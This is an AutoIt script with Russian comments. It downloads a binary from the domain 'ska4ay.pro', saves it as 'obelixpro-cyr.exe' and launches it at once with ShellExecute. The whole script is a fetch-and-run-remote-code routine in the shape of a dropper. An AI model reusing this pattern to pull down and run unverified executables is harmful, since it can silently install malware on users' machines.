#include "WinHttp.au3"
global $proxyUse = False
global $sProxyServer = "IP:Port" ; указывается прокси формата ip:port
Global $sDir = @ScriptDir & "\obelixpro-cyr.exe"
global $Domen = "ska4ay.pro"
If $proxyUse Then
$hOpen = _WinHttpOpen('au3browser', $WINHTTP_ACCESS_TYPE_NAMED_PROXY, $sProxyServer) ;инициализируем использование WinHTTP-функций, указываем заголовок User-Agent
Else
$hOpen = _WinHttpOpen('au3browser') ;инициализируем использование WinHTTP-функций, указываем заголовок User-Agent
EndIf
If @error Then
MsgBox(16, 'Ошибка', 'Не удалось инициализировать использование WinHttp-функций.')
Exit 1
EndIf
$hConnect = _WinHttpConnect($hOpen, $Domen) ;создаём соеденение, указываем только домен/ip-адрес
If @error Then
MsgBox(16, 'Ошибка', 'Не удалось создать соеденение.')
_WinHttpCloseHandle($hOpen)
Exit 2
EndIf
$sData = _WinHttpSimpleRequest($hConnect, 'GET', '/-KbS', default, default, default, True) ;отправляем запрос, указываем его метод, адрес страницы без домена и параметры
If @error Then
MsgBox(16, 'Ошибка', 'Не удалось отправить сообщение.')
Exit 3
EndIf
Global $hHttpRequest = _WinHttpOpenRequest($hConnect, 'POST', '/-KbS')
_WinHttpSendRequest($hHttpRequest)
_WinHttpReceiveResponse($hHttpRequest)
Global $bChunk, $bData, $hFile
If _WinHttpQueryDataAvailable($hHttpRequest) Then
While 1
$bChunk = _WinHttpReadData($hHttpRequest, 2) ; read binary
If @error Then ExitLoop
$bData = _WinHttpBinaryConcat($bData, $bChunk) ; concat two binary data
WEnd
; Save it to the file
$hFile = FileOpen($sDir, 26)
FileWrite($hFile, $bData)
FileClose($hFile)
Else
MsgBox(48, "Error occurred", "No data available. " & @CRLF)
EndIf
; Close handles
_WinHttpCloseHandle($hHttpRequest)
_WinHttpCloseHandle($hConnect)
_WinHttpCloseHandle($hOpen)
; See what's downloaded
ShellExecute($sDir)